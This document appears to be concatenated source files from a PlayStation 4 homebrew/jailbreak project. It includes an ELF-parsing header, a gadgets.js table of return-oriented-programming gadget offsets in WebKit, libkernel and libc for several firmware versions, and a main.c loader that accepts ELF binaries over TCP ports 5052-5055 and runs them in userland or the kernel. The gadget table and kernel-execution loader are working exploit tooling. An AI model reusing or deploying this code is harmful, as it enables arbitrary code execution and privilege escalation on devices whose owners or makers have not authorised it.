#include 15 | 16 | /* Defines which may be missing*/ 17 | 18 | #ifndef __ElfN 19 | #define __ElfNC_(x,y) x ## y 20 | #define __ElfNC(x,y) __ElfNC_(x,y) 21 | #define __ElfN(x) __ElfNC(__ElfNC(__ElfNC(Elf,__ELF_WORD_SIZE),_),x) 22 | #endif 23 | #ifndef __ELFN 24 | #define __ELFNC_(x,y) x ## y 25 | #define __ELFNC(x,y) __ElfNC_(x,y) 26 | #define __ELFN(x) __ElfNC(__ElfNC(__ElfNC(ELF,__ELF_WORD_SIZE),_),x) 27 | #endif 28 | 29 | #ifndef R_X86_64_JMP_SLOT 30 | #define R_X86_64_JMP_SLOT 7 31 | #endif 32 | 33 | #ifndef IS_ELF 34 | #define IS_ELF(ehdr) \ 35 | ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ 36 | (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ 37 | (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ 38 | (ehdr).e_ident[EI_MAG3] == ELFMAG3) 39 | #endif 40 | 41 | /* Neat Types */ 42 | 43 | typedef __ElfN(Ehdr) ElfHeader; 44 | typedef __ElfN(Phdr) ElfSegment; 45 | typedef __ElfN(Shdr) ElfSection; 46 | typedef __ElfN(Sym) ElfSymbol; 47 | //typedef Elf_Rel ElfRelocation; 48 | typedef __ElfN(Rela) ElfAddendRelocation; 49 | typedef __ElfN(Dyn) ElfDynamic; 50 | 51 | /* Type */ 52 | 53 | typedef struct Elf Elf; 54 | 55 | /* Enums*/ 56 | 57 | typedef enum 58 | { 59 | ELF_LOADER_RETURN_OK = 0, 60 | ELF_LOADER_RETURN_ELF_NULL = -1, 61 | ELF_LOADER_RETURN_NO_WRITABLE_MEMORY = -2, 62 | ELF_LOADER_RETURN_NO_EXECUTABLE_MEMORY = -3, 63 | ELF_LOADER_RETURN_NO_ELF = -4, 64 | ELF_LOADER_RETURN_UNKNOWN_RELOCATION = -5, 65 | ELF_LOADER_RETURN_ADDRESS_NOT_FOUND = -6, 66 | ELF_LOADER_RETURN_NO_SECTIONS_OR_SEGMENTS = -7, 67 | ELF_LOADER_RETURN_IS_NOT_LOADABLE = -8 68 | } 69 | ElfLoaderReturn; 70 | 71 | typedef enum 72 | { 73 | ELF_SECTION_ATTRIBUTE_NONE = 0, 74 | ELF_SECTION_ATTRIBUTE_NAME, 75 | ELF_SECTION_ATTRIBUTE_TYPE, 76 | ELF_SECTION_ATTRIBUTE_FLAGS, 77 | ELF_SECTION_ATTRIBUTE_ADDRESS, 78 | ELF_SECTION_ATTRIBUTE_OFFSET, 79 | ELF_SECTION_ATTRIBUTE_SIZE, 80 | ELF_SECTION_ATTRIBUTE_LINK, 81 | ELF_SECTION_ATTRIBUTE_INFO, 82 | ELF_SECTION_ATTRIBUTE_MEMORY_ALIGNMENT, 83 | ELF_SECTION_ATTRIBUTE_ENTRY_SIZE, 84 | } 85 | ElfSectionAttribute; 86 | 87 | typedef enum 88 | { 89 | ELF_SEGMENT_ATTRIBUTE_NONE = 0, 90 | ELF_SEGMENT_ATTRIBUTE_TYPE, 91 | ELF_SEGMENT_ATTRIBUTE_FLAGS, 92 | ELF_SEGMENT_ATTRIBUTE_OFFSET, 93 | ELF_SEGMENT_ATTRIBUTE_VIRTUAL_ADDRESS, 94 | ELF_SEGMENT_ATTRIBUTE_PHYSICAL_ADDRESS, 95 | ELF_SEGMENT_ATTRIBUTE_FILE_SIZE, 96 | ELF_SEGMENT_ATTRIBUTE_MEMORY_SIZE, 97 | ELF_SEGMENT_ATTRIBUTE_ALIGNMENT, 98 | } 99 | ElfSegmentAttribute; 100 | 101 | typedef enum 102 | { 103 | ELF_DYNAMIC_ATTRIBUTE_NONE = 0, 104 | ELF_DYNAMIC_ATTRIBUTE_TAG, 105 | ELF_DYNAMIC_ATTRIBUTE_VALUE, 106 | ELF_DYNAMIC_ATTRIBUTE_POINTER 107 | } 108 | ElfDynamicAttribute; 109 | 110 | typedef enum 111 | { 112 | ELF_RELOCATION_ATTRIBUTE_NONE = 0, 113 | ELF_RELOCATION_ATTRIBUTE_OFFSET, 114 | ELF_RELOCATION_ATTRIBUTE_INFO 115 | } 116 | ElfRelocationAttribute; 117 | 118 | typedef enum 119 | { 120 | ELF_ADDEND_RELOCATION_ATTRIBUTE_NONE = 0, 121 | ELF_ADDEND_RELOCATION_ATTRIBUTE_OFFSET, 122 | ELF_ADDEND_RELOCATION_ATTRIBUTE_INFO, 123 | ELF_ADDEND_RELOCATION_ATTRIBUTE_ADDEND 124 | } 125 | ElfAddendRelocationAttribute; 126 | 127 | typedef enum 128 | { 129 | ELF_SYMBOL_ATTRIBUTE_NONE = 0, 130 | ELF_SYMBOL_ATTRIBUTE_NAME, 131 | ELF_SYMBOL_ATTRIBUTE_INFO, 132 | ELF_SYMBOL_ATTRIBUTE_UNUSED, 133 | ELF_SYMBOL_ATTRIBUTE_SECTION_INDEX, 134 | ELF_SYMBOL_ATTRIBUTE_VALUE, 135 | ELF_SYMBOL_ATTRIBUTE_SIZE, 136 | } 137 | ElfSymbolAttribute; 138 | 139 | /* --- inlined getters FIXME: Hint inline */ 140 | 141 | ElfHeader *elfHeader(Elf *elf); 142 | size_t elfGetSize(Elf *elf); 143 | uint8_t *elfGetData(Elf *elf); 144 | 145 | uint8_t elfIsElf(Elf *elf); 146 | uint8_t elfClass(Elf *elf); 147 | uint8_t elfEncoding(Elf *elf); 148 | uint8_t elfVersion(Elf *elf); 149 | uint8_t elfABI(Elf *elf); 150 | uint64_t elfEntry(Elf *elf); 151 | 152 | uint64_t elfLargestAlignment(Elf *elf); 153 | uint64_t elfMemorySize(Elf *elf); 154 | 155 | uint64_t elfSectionAttribute(ElfSection *elfSection, ElfSectionAttribute attribute); 156 | ElfSection *elfSections(Elf *elf, uint16_t *size, uint16_t *length); 157 | ElfSection *elfSection(Elf *elf, uint16_t *index, ElfSectionAttribute attribute, uint64_t value); 158 | 159 | uint64_t elfSegmentAttribute(ElfSegment *elfSegment, ElfSegmentAttribute attribute); 160 | ElfSegment *elfSegments(Elf *elf, uint16_t *size, uint16_t *length); 161 | ElfSegment *elfSegment(Elf *elf, uint16_t *index, ElfSegmentAttribute attribute, uint64_t value); 162 | 163 | /* dynamic (if exists) */ 164 | 165 | uint64_t elfDynamicAttribute(ElfDynamic *elfDynamic, ElfDynamicAttribute attribute); 166 | ElfDynamic *elfDynamics(Elf *elf, uint16_t *size, uint16_t *length); 167 | ElfDynamic *elfDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value); 168 | ElfDynamic *elfLoadedDynamics(Elf *elf, uint16_t *size, uint16_t *length); 169 | ElfDynamic *elfLoadedDynamic(Elf *elf, uint16_t *index, ElfDynamicAttribute attribute, uint64_t value); 170 | 171 | /* specifics (if exists) */ 172 | 173 | char *elfSectionStrings(Elf *elf, uint64_t *size); 174 | char *elfStringFromIndex(char *mem, uint64_t size, uint32_t index); 175 | uint32_t elfStringToIndex(char *mem, uint64_t size, char *str); 176 | char *elfStringFromOffset(char *mem, uint64_t size, uint32_t index); 177 | uint32_t elfStringToOffset(char *mem, uint64_t size, char *str); 178 | 179 | ElfSection *elfSectionByName(Elf *elf, char *name); 180 | 181 | uint64_t elfAddendRelocationAttribute(ElfAddendRelocation *elfAddendRelocation, ElfAddendRelocationAttribute attribute); 182 | ElfAddendRelocation *elfAddendRelocations(Elf *elf, char *name, uint16_t *size, uint16_t *length); 183 | //ElfAddendRelocation *elfAddendRelocation(Elf *elf, char *name, uint16_t *index, ElfAddendRelocationAttribute attribute, uint64_t value); 184 | 185 | uint32_t elfRelocationSymbol(uint64_t info); 186 | uint32_t elfRelocationType(uint64_t info); 187 | 188 | /*relocs here*/ 189 | 190 | uint64_t elfSymbolAttribute(ElfSymbol *elfSymbol, ElfSymbolAttribute attribute); 191 | ElfSymbol *elfSymbols(Elf *elf, char *name, uint16_t *size, uint16_t *length); 192 | //ElfSymbol *elfSymbol(Elf *elf, char *name, uint16_t *index, ElfSymbolAttribute attribute, uint64_t value); 193 | 194 | uint8_t elfSymbolType(uint8_t info); 195 | uint8_t elfSymbolBind(uint8_t info); 196 | 197 | /* --- actions */ 198 | 199 | Elf *elfCreate(void *data, uint64_t size); 200 | Elf *elfCreateLocal(void *elfl, void *data, size_t size); 201 | Elf *elfCreateLocalUnchecked(void *elfl, void *data, size_t size); 202 | void *elfDestroy(Elf *elf); 203 | void elfDestroyAndFree(Elf *elf); 204 | 205 | /* --- loader --- */ 206 | 207 | int elfLoaderIsLoadable(Elf *elf); 208 | int elfLoaderInstantiate(Elf *elf, void *memory); 209 | int elfLoaderRelocate(Elf *elf, void *writable, void *executable); 210 | int elfLoaderLoad(Elf *elf, void *writable, void *executable); 211 | int elfLoaderLoadKernel(Elf *elf, void *writable, void *executable); 212 | 213 | #endif 214 | -------------------------------------------------------------------------------- /local/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | ldr 6 | 7 | 8 | 9 | 10 | 11 | 12 | 263 | 264 | 265 | 268 | 269 | 270 | -------------------------------------------------------------------------------- /local/js/gadgets.js: -------------------------------------------------------------------------------- 1 | var gadgets_1_76 = { 2 | "pop rbp": new gadget([0x5d], WEBKIT2, 0xb5d6d), 3 | "pop rax": new gadget([0x58], WEBKIT2, 0x3352d), 4 | "pop rcx": new gadget([0x59], WEBKIT2, 0x2bec0d), 5 | "pop rdx": new gadget([0x5a, 0xff, 0xc5], WEBKIT2, 0x250df2), 6 | "pop rsi": new gadget([0x5e], WEBKIT2, 0x3914ca), 7 | "pop rdi": new gadget([0x5f], WEBKIT2, 0x137cbd), 8 | "pop r8": new gadget([0x41, 0x58], WEBKIT2, 0xb854d), 9 | "pop r9": new gadget([0x43, 0x59], WEBKIT2, 0x2bfe89), 10 | "pop rsp": new gadget([0xf3, 0x5c], WEBKIT2, 0x5fbb5), 11 | 12 | "mov r10, rcx; syscall": new gadget([0x49, 0x89, 0xca, 0x0f, 0x05], LIBKERNEL, 0x457), 13 | 14 | "mov [rax+0x1e8], rdx": new gadget([0x48, 0x89, 0x90, 0xe8, 0x01, 0x00, 0x00], LIBKERNEL, 0x1622), 15 | "mov [rax+0x60], rdi": new gadget([0x48, 0x89, 0x78, 0x60], WEBKIT2, 0x2b7274), 16 | "mov [rax+0x8], rsi": new gadget([0x48, 0x89, 0x70, 0x08], LIBKERNEL, 0x9414), 17 | "mov [rax+0xc0], rcx": new gadget([0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00], WEBKIT2, 0x369e6d), 18 | "mov [rax], rcx": new gadget([0x48, 0x89, 0x08], WEBKIT2, 0x9ecde6), 19 | "mov [rax], rdx": new gadget([0x48, 0x89, 0x10], WEBKIT2, 0x3579c0), 20 | "mov [rax], rsi": new gadget([0x48, 0x89, 0x30], WEBKIT2, 0x2adea7), 21 | 22 | "mov [rax], dh": new gadget([], WEBKIT2, 0x142a68), 23 | 24 | "mov [rcx], rax": new gadget([0x48, 0x89, 0x01], WEBKIT2, 0xc320), 25 | "mov [rcx], rdx": new gadget([0x48, 0x89, 0x11], 12, 0x5b00), 26 | 27 | "mov [rdx], rcx": new gadget([0x48, 0x89, 0x0a], 16, 0x340bd), 28 | "mov [rdx], rsi": new gadget([0x48, 0x89, 0x32], 16, 0x1b822), 29 | 30 | "mov [rsi+0x18], rax": new gadget([0x48, 0x89, 0x46, 0x18], WEBKIT2, 0x470f5), 31 | "mov [rsi+0x8], r8": new gadget([0x4c, 0x89, 0x46, 0x08], WEBKIT2, 0x14af6d), 32 | "mov [rsi], rcx": new gadget([0x48, 0x89, 0x0e], WEBKIT2, 0x38c39f), 33 | 34 | "mov [rdi], rax": new gadget([0x48, 0x89, 0x07], LIBKERNEL, 0xb0c8), 35 | "mov [rdi+0x88], rax": new gadget([0x48, 0x89, 0x87, 0x88, 0x00, 0x00, 0x00], WEBKIT2, 0x1c0e03), 36 | "mov [rdi+0xa0], rcx": new gadget([0x48, 0x89, 0x8f, 0xa0, 0x00, 0x00, 0x00], WEBKIT2, 0xb6b5), 37 | "mov [rdi+0x80], rdx": new gadget([0x48, 0x89, 0x97, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0xa2da64), 38 | "mov [rdi+0x80], rsi": new gadget([0x48, 0x89, 0xb7, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0x3dc290), 39 | "mov [rdi+0x20], r8": new gadget([0x4c, 0x89, 0x47, 0x20], 12, 0x40415), 40 | "mov [rdi+0x20], rdx": new gadget([0x48, 0x89, 0x57, 0x20], 12, 0x38796), 41 | 42 | "mov [r10], rdi": new gadget([0x49, 0x89, 0x3a], 16, 0x1ba44), 43 | "mov [r10], rdx": new gadget([0x49, 0x89, 0x12], 16, 0x1b79b), 44 | "mov [r10], rsi": new gadget([0x49, 0x89, 0x32], 16, 0x1b8cd), 45 | 46 | "mov rdi, [rdi+0x48]": new gadget([0x48, 0x8b, 0x7f, 0x48], LIBKERNEL, 0x1bd50), 47 | "mov rsi, rax; jmp rcx": new gadget([], WEBKIT2, 0xee060), 48 | 49 | "mov rax, [rax+0x830]": new gadget([0x48, 0x8b, 0x80, 0x30, 0x08, 0x00, 0x00], 19, 0x1957), 50 | "mov rax, [rdi]": new gadget([0x48, 0x8b, 0x07], LIBKERNEL, 0x172b0), 51 | "mov rax, [rdi+0x18]": new gadget([0x48, 0x8b, 0x47, 0x18], LIBKERNEL, 0x172f0), 52 | "mov rax, [r10]": new gadget([0x49, 0x8b, 0x02], 16, 0xd93d), 53 | "mov rax, [r11]": new gadget([0x49, 0x8b, 0x03], 16, 0xd936), 54 | 55 | "mov rdx, [rdi+0x8]": new gadget([0x48, 0x8b, 0x57, 0x08], LIBC, 0x6573), 56 | 57 | "mov rax, rdi": new gadget([0x48, 0x89, 0xf8], LIBKERNEL, 0x1dc20), 58 | "mov rax, rsi": new gadget([0x48, 0x89, 0xf0], LIBKERNEL, 0x94d1), 59 | "mov rax, r8": new gadget([0x4c, 0x89, 0xc0], 16, 0xeb36), 60 | 61 | "mov rdx, rdi": new gadget([0x48, 0x89, 0xfa], LIBC, 0x860f), 62 | 63 | "add ah, byte [rax]": new gadget([], WEBKIT2, 0x9f98c8), 64 | "add edi, dword [rcx]": new gadget([], WEBKIT2, 0xa12cb2), 65 | 66 | "call rax": new gadget([], LIBKERNEL, 0x48), 67 | "call rbx": new gadget([], LIBKERNEL, 0x6143), 68 | "call rcx": new gadget([], LIBKERNEL, 0x1128d), 69 | "call rdx": new gadget([], LIBKERNEL, 0x100c3), 70 | "call rsi": new gadget([], LIBKERNEL, 0xe1c8), 71 | 72 | "jmp rax": new gadget([], LIBKERNEL, 0x94), 73 | "jmp rbx": new gadget([], LIBKERNEL, 0x26ac7), 74 | "jmp rcx": new gadget([], LIBKERNEL, 0xb9c6), 75 | "jmp rdx": new gadget([], LIBKERNEL, 0x666d), 76 | 77 | "ret": new gadget([], WEBKIT2, 0x52c04c), 78 | } 79 | 80 | var gadgets_1_52 = { 81 | "pop rbp": new gadget([0x5d], LIBKERNEL, 0x652), 82 | "pop rax": new gadget([0x58], LIBKERNEL, 0x2ce3c), 83 | "pop rcx": new gadget([0x59], WEBKIT2, 0x3d629), 84 | "pop rdx": new gadget([0x5a], WEBKIT2, 0x1A3DB2), 85 | "pop rsi": new gadget([0x5e], WEBKIT2, 0x2a3925), 86 | "pop rdi": new gadget([0x5f], WEBKIT2, 0x1a7fcb), 87 | "pop r8": new gadget([0x41, 0x58], WEBKIT2, 0xb82cd), 88 | "pop r9": new gadget([0x43, 0x59], WEBKIT2, 0x3bef4f), 89 | "pop rsp": new gadget([0xf3, 0x5c], WEBKIT2, 0x5fb25), 90 | 91 | "mov r10, rcx; syscall": new gadget([0x49, 0x89, 0xca, 0x0f, 0x05], LIBKERNEL, 0x457), 92 | 93 | "mov [rax+0x60], rdi": new gadget([0x48, 0x89, 0x78, 0x60], WEBKIT2, 0x2B6304), 94 | 95 | "mov [rsi+0x18], rax": new gadget([0x48, 0x89, 0x46, 0x18], WEBKIT2, 0x46ec5) 96 | } 97 | 98 | var gadgets_1_01 = { 99 | "pop rbp": new gadget([0x5d], LIBKERNEL, 0x3f7), 100 | "pop rax": new gadget([0x58], WEBKIT2, 0x32D7D), 101 | "pop rcx": new gadget([0x59], WEBKIT2, 0x3CC49), 102 | "pop rdx": new gadget([0x5a, 0xff, 0xc5], WEBKIT2, 0x4A1342), 103 | "pop rsi": new gadget([0x5e], WEBKIT2, 0x18E783C), 104 | "pop rdi": new gadget([0x5f], WEBKIT2, 0x18E7840), 105 | "pop r8": new gadget([0x41, 0x58], WEBKIT2, 0xB78FD), 106 | 107 | "pop r9": new gadget([0x43, 0x59], WEBKIT2, 0x1D90204), 108 | "pop rsp": new gadget([0xf3, 0x5c], WEBKIT2, 0x5F145), 109 | 110 | "mov r10, rcx; syscall": new gadget([0x49, 0x89, 0xca, 0x0f, 0x05], LIBKERNEL, 0x417), 111 | "mov [rax+0x1e8], rdx": new gadget([0x48, 0x89, 0x90, 0xe8, 0x01, 0x00, 0x00], LIBKERNEL, 0x15A2), 112 | 113 | "mov [rax+0x60], rdi": new gadget([0x48, 0x89, 0x78, 0x60], WEBKIT2, 0x2B32B4), 114 | "mov [rax+0x8], rsi": new gadget([0x48, 0x89, 0x70, 0x08], LIBKERNEL, 0xA3D4), 115 | "mov [rax+0xc0], rcx": new gadget([0x48, 0x89, 0x88, 0xc0, 0x00, 0x00, 0x00], WEBKIT2, 0x365B2D), 116 | 117 | "mov [rax], rcx": new gadget([0x48, 0x89, 0x08], WEBKIT2, 0x54e3f), 118 | "mov [rax], rdx": new gadget([0x48, 0x89, 0x10], WEBKIT2, 0x75a36), 119 | "mov [rax], rsi": new gadget([0x48, 0x89, 0x30], WEBKIT2, 0x2dc1b8), 120 | 121 | "mov [rcx], rax": new gadget([0x48, 0x89, 0x01], WEBKIT2, 0xC0F0), 122 | 123 | "mov [rcx], rdx": new gadget([0x48, 0x89, 0x11], WEBKIT2, 0xBEB1F0), 124 | 125 | "mov [rdx], rcx": new gadget([0x48, 0x89, 0x0a], WEBKIT2, 0xa71e6c), 126 | "mov [rdx], rsi": new gadget([0x48, 0x89, 0x32], WEBKIT2, 0x361817), 127 | 128 | "mov [rsi+0x18], rax": new gadget([0x48, 0x89, 0x46, 0x18], WEBKIT2, 0x464E5), 129 | 130 | 131 | "mov [rsi+0x8], r8": new gadget([0x4c, 0x89, 0x46, 0x08], WEBKIT2, 0x1481D0),// not proper ret, fix later 132 | "mov [rsi], rcx": new gadget([0x48, 0x89, 0x0e], WEBKIT2, 0x387DFF), 133 | 134 | "mov [rdi], rax": new gadget([0x48, 0x89, 0x07], WEBKIT2, 0x1694CC), 135 | 136 | 137 | "mov [rdi+0x88], rax": new gadget([0x48, 0x89, 0x87, 0x88, 0x00, 0x00, 0x00], WEBKIT2, 0x1BC7C3), 138 | "mov [rdi+0xa0], rcx": new gadget([0x48, 0x89, 0x8f, 0xa0, 0x00, 0x00, 0x00], WEBKIT2, 0xB485), 139 | "mov [rdi+0x80], rdx": new gadget([0x48, 0x89, 0x97, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0xC0F2B4), 140 | "mov [rdi+0x80], rsi": new gadget([0x48, 0x89, 0xb7, 0x80, 0x00, 0x00, 0x00], WEBKIT2, 0x3D6460), 141 | // "mov [rdi+0x20], r8": new gadget([0x4c, 0x89, 0x47, 0x20], 12, 0x40415), 142 | "mov [rdi+0x20], rdx": new gadget([0x48, 0x89, 0x57, 0x20], WEBKIT2, 0xB54EB), 143 | 144 | // up to here 145 | //"mov [r10], rdi": new gadget([0x49, 0x89, 0x3a], 16, 0x1ba44), 146 | //"mov [r10], rdx": new gadget([0x49, 0x89, 0x12], 16, 0x1b79b), 147 | //"mov [r10], rsi": new gadget([0x49, 0x89, 0x32], 16, 0x1b8cd), 148 | 149 | "mov rdi, [rdi+0x48]": new gadget([0x48, 0x8b, 0x7f, 0x48], LIBC, 0x66C68), 150 | 151 | //"mov rax, [rax+0x830]": new gadget([0x48, 0x8b, 0x80, 0x30, 0x08, 0x00, 0x00], 19, 0x1957), 152 | "mov rax, [rdi]": new gadget([0x48, 0x8b, 0x07], LIBKERNEL, 0x1bcc0), 153 | "mov rax, [rdi+0x18]": new gadget([0x48, 0x8b, 0x47, 0x18], LIBKERNEL, 0x1BD00), 154 | "mov rax, [r10]": new gadget([0x49, 0x8b, 0x02], WEBKIT2, 0xdeb798), 155 | //"mov rax, [r11]": new gadget([0x49, 0x8b, 0x03], 16, 0xd936), 156 | 157 | "mov rdx, [rdi+0x8]": new gadget([0x48, 0x8b, 0x57, 0x08], LIBC, 0x64f3), 158 | 159 | "mov rax, rdi": new gadget([0x48, 0x89, 0xf8], LIBKERNEL, 0x51b3), 160 | "mov rax, rsi": new gadget([0x48, 0x89, 0xf0], LIBKERNEL, 0xa491), 161 | "mov rax, r8": new gadget([0x4c, 0x89, 0xc0], WEBKIT2, 0x98731a), 162 | 163 | //"mov rdx, rdi": new gadget([0x48, 0x89, 0xfa], WKP, 0x807), 164 | 165 | //"add ah, byte [rax]": new gadget([], WEBKIT2, 0xa27e68), 166 | 167 | "call rax": new gadget([], LIBKERNEL, 0x48), //NO RET? 168 | "call rbx": new gadget([], LIBKERNEL, 0x13206), 169 | "call rcx": new gadget([], LIBC, 0x10927), 170 | "call rdx": new gadget([], LIBKERNEL, 0x1e289), // NO RET? 171 | "call rsi": new gadget([], LIBKERNEL, 0x13588), 172 | 173 | "jmp rax": new gadget([], LIBKERNEL, 0x6f35),// NO RET? 174 | "jmp rbx": new gadget([], LIBKERNEL, 0x1280d), 175 | "jmp rcx": new gadget([], LIBKERNEL, 0xD176), 176 | "jmp rdx": new gadget([], LIBKERNEL, 0x13220), // NO RET? 177 | } 178 | 179 | var gadgets = { 180 | 1.01: gadgets_1_01, 181 | 1.52: gadgets_1_52, 182 | 1.76: gadgets_1_76 183 | } 184 | -------------------------------------------------------------------------------- /ps4/binary/user/source/main.c: -------------------------------------------------------------------------------- 1 | #define _XOPEN_SOURCE 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #include 22 | 23 | #include 24 | 25 | #include "main.h" 26 | 27 | /* Constants */ 28 | 29 | #define ELF_LOADER_SERVER_IO_PORT 5052 30 | #define ELF_LOADER_SERVER_USER_PORT 5053 31 | #define ELF_LOADER_SERVER_KERNEL_PORT 5054 32 | #define ELF_LOADER_SERVER_KERNEL_PROCESS_PORT 5055 33 | 34 | #define ELF_LOADER_SERVER_BACKLOG 10 35 | 36 | typedef int (*ElfRunner)(Elf *elf); 37 | 38 | typedef struct ElfServerArgument 39 | { 40 | volatile int *run; 41 | pthread_t thread; 42 | ElfRunner elfRunner; 43 | int descriptor; 44 | int port; 45 | } 46 | ElfServerArgument; 47 | 48 | /* Globals */ 49 | 50 | FILE *__stdinp; 51 | FILE *__stdoutp; 52 | FILE *__stderrp; 53 | int __isthreaded; 54 | 55 | /* Elf util */ 56 | 57 | int elfCreateFromSocket(Elf **elf, int client) 58 | { 59 | Elf *e; 60 | size_t s; 61 | int r; 62 | void *m; 63 | 64 | if(elf == NULL) 65 | return PS4_ERROR_ARGUMENT_PRIMARY_MISSING; 66 | *elf = NULL; 67 | 68 | r = ps4MemoryAllocateFromFileWithoutSize(&m, &s, client); 69 | if(r != PS4_OK) 70 | return r; 71 | 72 | e = elfCreate(m, s); 73 | if(e != NULL && !elfLoaderIsLoadable(e)) 74 | { 75 | elfDestroyAndFree(e); 76 | return PS4_ERROR_UNPROCESSABLE; 77 | } 78 | 79 | *elf = e; 80 | 81 | return PS4_OK; 82 | } 83 | 84 | /* IO and elf servers */ 85 | 86 | void *elfLoaderServerIo(void *arg) 87 | { 88 | ElfServerArgument *a = (ElfServerArgument *)arg; 89 | int client, r; 90 | 91 | r = ps4SocketTCPServerCreate(&a->descriptor, a->port, ELF_LOADER_SERVER_BACKLOG); 92 | if(r != PS4_OK) 93 | { 94 | *a->run = -1; 95 | return NULL; 96 | } 97 | 98 | if(a->descriptor >= 0 && a->descriptor < 3) 99 | { 100 | // something is wrong and we get a std io fd -> hard-fix with dummies 101 | ps4StandardIoRedirect(-1); 102 | r = ps4SocketTCPServerCreate(&a->descriptor, a->port, ELF_LOADER_SERVER_BACKLOG); 103 | if(r != PS4_OK || (a->descriptor >= 0 && a->descriptor < 3)) 104 | { 105 | *a->run = -1; 106 | return NULL; 107 | } 108 | } 109 | 110 | *a->run = 1; 111 | while(*a->run == 1) 112 | { 113 | client = accept(a->descriptor, NULL, NULL); 114 | if(client < 0) 115 | continue; 116 | ps4StandardIoRedirect(client); 117 | close(client); 118 | } 119 | 120 | return NULL; 121 | } 122 | 123 | void *elfLoaderServerElf(void *arg) 124 | { 125 | ElfServerArgument *a = (ElfServerArgument *)arg; 126 | int client; 127 | Elf *elf; 128 | 129 | if(ps4SocketTCPServerCreate(&a->descriptor, a->port, ELF_LOADER_SERVER_BACKLOG) != PS4_OK) 130 | return NULL; 131 | 132 | while(*a->run == 1) 133 | { 134 | client = accept(a->descriptor, NULL, NULL); 135 | if(client < 0) 136 | continue; 137 | elfCreateFromSocket(&elf, client); 138 | close(client); 139 | if(elf == NULL) 140 | break; 141 | a->elfRunner(elf); 142 | } 143 | *a->run = 0; 144 | 145 | return NULL; 146 | } 147 | 148 | /* Userland elf runner */ 149 | 150 | void *elfLoaderUserMain(void *arg) 151 | { 152 | ElfRunUserArgument *argument = (ElfRunUserArgument *)arg; 153 | char *elfName = "elf"; 154 | char *elfArgv[3] = { elfName, NULL, NULL }; // double null term for envp 155 | int elfArgc = 1; 156 | int r; 157 | 158 | if(argument == NULL) 159 | return NULL; 160 | 161 | r = argument->main(elfArgc, elfArgv); 162 | ps4MemoryProtectedDestroy(argument->memory); 163 | //ps4MemoryDestroy(argument->memory); 164 | free(argument); 165 | printf("return (user): %i\n", r); 166 | 167 | return NULL; 168 | } 169 | 170 | int elfLoaderUserRun(Elf *elf) 171 | { 172 | pthread_t thread; 173 | ElfRunUserArgument *argument; 174 | void *writable, *executable; 175 | int r; 176 | 177 | if(elf == NULL) 178 | return -1; 179 | 180 | argument = (ElfRunUserArgument *)malloc(sizeof(ElfRunUserArgument)); 181 | if(argument == NULL) 182 | { 183 | elfDestroyAndFree(elf); 184 | return -1; 185 | } 186 | 187 | if(ps4MemoryProtectedCreate(&argument->memory, elfMemorySize(elf)) != 0) 188 | //if(ps4MemoryCreate(&argument->memory, elfMemorySize(elf)) != PS4_OK) 189 | { 190 | free(argument); 191 | elfDestroyAndFree(elf); 192 | return -1; 193 | } 194 | 195 | argument->main = NULL; 196 | ps4MemoryProtectedGetWritableAddress(argument->memory, &writable); 197 | ps4MemoryProtectedGetExecutableAddress(argument->memory, &executable); 198 | r = elfLoaderLoad(elf, writable, executable); 199 | //r = elfLoaderLoad(elf, ps4MemoryGetAddress(argument->memory), ps4MemoryGetAddress(argument->memory)); 200 | if(r == ELF_LOADER_RETURN_OK) 201 | argument->main = (ElfMain)((uint8_t *)executable + elfEntry(elf)); 202 | //argument->main = (ElfMain)((uint8_t *)ps4MemoryGetAddress(argument->memory) + elfEntry(elf)); 203 | elfDestroyAndFree(elf); // we don't need the "file" anymore 204 | 205 | if(argument->main != NULL) 206 | pthread_create(&thread, NULL, elfLoaderUserMain, argument); 207 | else 208 | { 209 | ps4MemoryProtectedDestroy(argument->memory); 210 | //ps4MemoryDestroy(argument->memory); 211 | free(argument); 212 | return -1; 213 | } 214 | 215 | return PS4_OK; 216 | } 217 | 218 | /* Kernel & process elf runner */ //FIXME: checks 219 | 220 | void *elfLoaderKernelMain(void *arg) 221 | { 222 | int p; 223 | int64_t r, ret; 224 | ElfRunKernelArgument *ka = (ElfRunKernelArgument *)arg; 225 | ps4KernelCall(ps4KernelMemoryCopy, &ka->isProcess, &p, sizeof(int)); // ka is in kernel 226 | ret = 0; 227 | r = ps4KernelExecute((void *)elfLoaderKernMain, ka, &ret, NULL); 228 | if(p == 0) 229 | printf("return (kernel): %i %"PRId64"\n", r, ret); 230 | else 231 | printf("return (kernel process): %i %"PRId64"\n", r, ret); //FIXME: r should be 0 ...?! 232 | return NULL; 233 | } 234 | 235 | int elfLoaderKernelRun_(Elf *elf, int asProcess) 236 | { 237 | pthread_t thread; 238 | ElfRunKernelArgument ua; 239 | ElfRunKernelArgument *ka; 240 | 241 | if(elf == NULL) 242 | return -1; 243 | 244 | ka = (void *)ps4KernelCall(ps4KernelMemoryMalloc, sizeof(ElfRunKernelArgument)); 245 | ua.isProcess = asProcess; 246 | ua.size = elfGetSize(elf); 247 | ua.data = (void *)ps4KernelCall(ps4KernelMemoryMalloc, ua.size); 248 | ps4KernelCall(ps4KernelMemoryCopy, elfGetData(elf), ua.data, ua.size); 249 | ps4KernelCall(ps4KernelMemoryCopy, &ua, ka, sizeof(ElfRunKernelArgument)); 250 | 251 | elfDestroyAndFree(elf); // we dispose of non-kernel data and rebuild and clean the elf in kernel 252 | 253 | pthread_create(&thread, NULL, elfLoaderKernelMain, ka); 254 | return PS4_OK; 255 | } 256 | 257 | int elfLoaderKernelRun(Elf *elf) 258 | { 259 | return elfLoaderKernelRun_(elf, 0); 260 | } 261 | 262 | int elfLoaderKernelProcessRun(Elf *elf) 263 | { 264 | return elfLoaderKernelRun_(elf, 1); 265 | } 266 | 267 | /* Setup and run threads */ 268 | 269 | int main(int argc, char **argv) 270 | { 271 | volatile int run = 0; 272 | ElfServerArgument io, user, kernel, kernelProcess; 273 | 274 | int libc; 275 | FILE **__stdinp_address; 